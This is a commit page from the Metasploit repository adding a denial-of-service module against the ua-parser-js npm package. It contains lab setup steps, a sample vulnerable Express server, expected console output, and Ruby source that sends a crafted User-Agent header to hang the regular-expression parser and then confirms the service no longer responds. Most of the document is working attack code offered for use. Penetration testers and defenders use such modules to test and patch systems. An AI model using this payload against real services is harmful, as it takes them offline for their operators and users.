Land #9284 a regex dos for ua_parser_js npm module
commit
c0a534140d
|
@ -0,0 +1,67 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and calls the `getOS`
|
||||
or `getResult` functions will be vulnerable to this module. An example server is provided
|
||||
below.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `ua-parser-js`, run:
|
||||
```
|
||||
npm i ua-parser-js@0.7.15
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
|
||||
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/ua_parser_js_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `run`.
|
||||
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ua-parser-js npm module version 0.7.15
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express
|
||||
// npm i ua-parser-js@0.7.15 (vulnerable)
|
||||
// npm i ua-parser-js (non-vulnerable)
|
||||
|
||||
const express = require('express')
|
||||
const uaParser = require('ua-parser-js');
|
||||
const app = express()
|
||||
|
||||
app.get('/', (req, res) => {
|
||||
var parser = new uaParser(req.headers['user-agent']);
|
||||
res.end(JSON.stringify(parser.getResult()));
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
|
||||
```
|
|
@ -0,0 +1,113 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ua-parser-js npm module ReDoS',
|
||||
'Description' => %q{
|
||||
This module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module "ua-parser-js". Server-side applications that use
|
||||
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
|
||||
if they call the "getOS" or "getResult" functions. This vulnerability was
|
||||
fixed as of version 0.7.16.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
|
||||
['CWE', '400'],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Ryan Knell, Sonatype Security Research',
|
||||
'Nick Starke, Sonatype Security Research',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
unless test_service
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
|
||||
else
|
||||
trigger_redos
|
||||
test_service_unresponsive
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_redos
|
||||
begin
|
||||
print_status("Sending ReDoS request to #{peer}.")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_status("No response received from #{peer}, service is most likely unresponsive.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
rescue ::Timeout::Error
|
||||
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
|
||||
end
|
||||
end
|
||||
|
||||
def test_service_unresponsive
|
||||
begin
|
||||
print_status('Testing for service unresponsiveness.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_good('Service not responding.')
|
||||
else
|
||||
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error('An unknown error occurred.')
|
||||
rescue ::Timeout::Error
|
||||
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
|
||||
end
|
||||
end
|
||||
|
||||
def test_service
|
||||
begin
|
||||
print_status('Testing Service to make sure it is working.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if !res.nil? && (res.code == 200 || res.code == 404)
|
||||
print_status('Test request successful, attempting to send payload')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue